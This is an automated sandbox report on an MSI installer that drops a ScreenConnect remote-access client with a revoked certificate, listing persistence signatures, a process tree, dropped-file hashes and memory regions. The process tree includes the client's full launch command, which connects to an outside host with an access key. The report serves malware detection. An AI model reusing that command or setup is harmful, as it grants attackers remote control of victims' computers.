Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/09/2026, 12:30

General

  • Target
    38-146-219-200.msi
  • Size 12.9MB
  • Sample260908-ppmlgszgnc
  • SHA256 758f479a8b141a1eaec3ec5a61bf9787233b9d446096d995400c54ac4c01e165
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\38-146-219-200.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2680
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding CA05EAB4DC26D5AF8FEBD3CFA1FEBB59 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3076
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240745359 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1760
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5008
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0DB523C40BDF9F92FB1C10017434A6A1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2836
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9B79FBE4B3178000632800E806A5653D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4316
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:6400
    • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=38.146.219.200&p=8041&s=004c5320-3d7b-4158-8884-df2a9364a3d4&k=BgIAAACkAABSU0ExAAgAAAEAAQDtAaN9KRgnWspkAkfwByOGT5PwpVfazW0Wq%2b4KkT8vBLWZ5afbVOHspwVMATTmKnLjc9O%2b80lr3WC75udmdRk2tbmq%2fOLRAvy3UWznTt9j7Lg9OIG8NvdKze0KNVFCJ8KFZGduGg%2bJfJHklpC6bWgB7pz4xZfUtfCwHbsWPMMEsUeqbcuSgmkEBNwd%2bbe3xmk7NQKquHeEdF9iOeSh3ppixtgqQ60mfsIEK3LiZ0M0gmPrqelBy3OCo1pgu3J9ugLN%2fOedLrehQnvrAV3jOwkUdZoDAmy5XHkf4m5%2bBqvvICf4e09SXuXGM8vV9NklXfbOUC4kjWombDfkgXHdF3PT"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4116
      • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe" "RunRole" "40e48cd0-1b7c-434c-9ff9-e52bb1bf5b9f" "User"
        2⤵
        • Executes dropped EXE
        PID:3544
      • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe" "RunRole" "817af35d-1fb2-4268-9e94-4e35fd8bcc07" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5380

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59cff9.rbs

          • Path C:\Config.Msi\e59cff9.rbs
          • Size 214KB
          • SHA256 7649ad0e0f9a5fd70618539d6d47f62a8653728a474c00c1946b81d5a05591d2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\system.config
          • Size 934B
          • SHA256 ca88f76f81bb3a0da9b266897eeb8b42353189043c255a8b670811fcbdc959f5
          • MD5 SHA1 SHA512 TLSH

          MSI7A28.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7A28.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSID633.tmp

          • Path C:\Windows\Installer\MSID633.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59cff8.msi

          • Path C:\Windows\Installer\e59cff8.msi
          • Size 12.9MB
          • SHA256 758f479a8b141a1eaec3ec5a61bf9787233b9d446096d995400c54ac4c01e165
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fs0iyn22.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f3d4bc169e9f78ac)\fs0iyn22.newcfg
          • Size 563B
          • SHA256 a8efbd60db99ce976f9025bfcf1a00bdd0aec3d3906360a325b569ab740ced0e
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f3d4bc169e9f78ac)\user.config
          • Size 563B
          • SHA256 2634f2c80731e7af68428ecf8c453f77546b935a580a109e71f6db3f16200741
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 660b4c2a3ce29f909054eaec0ad2aa821d8ce8ef8c0b182de7905877b4dddec7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {6e527354-7c95-491c-b512-7d23074cb1cf}_OnDiskSnapshotProp

          • Path \??\Volume{c4492839-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{6e527354-7c95-491c-b512-7d23074cb1cf}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 1aa720e8da7494984277593d090c82952877a13dbdad80dbb76bd4224f79ce54
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1760-22-0x0000000003BC0000-0x0000000003BCA000-memory.dmp

          memory/1760-18-0x0000000003B00000-0x0000000003B2E000-memory.dmp

          memory/1760-31-0x0000000006640000-0x0000000006BFA000-memory.dmp

          memory/1760-30-0x0000000005ED0000-0x000000000607C000-memory.dmp

          memory/1760-26-0x0000000005C90000-0x0000000005D1C000-memory.dmp

          memory/3544-122-0x0000000002F20000-0x0000000002F38000-memory.dmp

          memory/3544-117-0x0000000002EC0000-0x0000000002EF6000-memory.dmp

          memory/3544-116-0x0000000000DF0000-0x0000000000E88000-memory.dmp

          memory/3544-118-0x0000000003160000-0x00000000031EC000-memory.dmp

          memory/3544-119-0x000000001C1A0000-0x000000001C34C000-memory.dmp

          memory/3544-120-0x000000001D100000-0x000000001D288000-memory.dmp

          memory/3544-121-0x0000000002EA0000-0x0000000002EB8000-memory.dmp

          memory/4116-101-0x0000000004200000-0x0000000004236000-memory.dmp

          memory/4116-75-0x00000000019B0000-0x00000000019C8000-memory.dmp

          memory/4116-104-0x0000000004240000-0x0000000004281000-memory.dmp

          memory/4116-106-0x00000000046A0000-0x0000000004775000-memory.dmp

          memory/4116-97-0x00000000041B0000-0x0000000004200000-memory.dmp

          memory/4116-102-0x00000000044B0000-0x0000000004542000-memory.dmp